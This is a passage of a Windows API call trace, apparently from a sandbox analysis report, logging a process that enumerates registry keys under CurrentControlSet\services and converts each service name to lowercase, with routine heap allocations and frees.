(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0248.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.825] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0248.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0248.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.826] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0248.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0248.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.826] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0248.826] RegCloseKey (hKey=0x154) returned 0x0 [0248.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0248.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0248.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0248.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0248.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0248.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0248.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0248.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0248.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0248.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0248.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.827] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0248.827] RegCloseKey (hKey=0x148) returned 0x0 [0248.828] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0248.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0248.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.828] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0248.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0248.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f18e0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0248.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.828] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0248.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0248.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1970, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0248.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.828] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0248.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0248.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f18e0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0248.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.829] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0248.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0248.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1970, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0248.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.829] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0248.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0248.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f18e0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0248.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.829] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0248.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0248.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.829] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0248.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0248.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.830] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0248.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0248.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.830] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0248.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0248.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.830] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0248.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0248.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1970, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0248.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.831] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.831] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.831] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.831] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0248.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0248.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.831] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.831] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.831] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.831] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0248.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 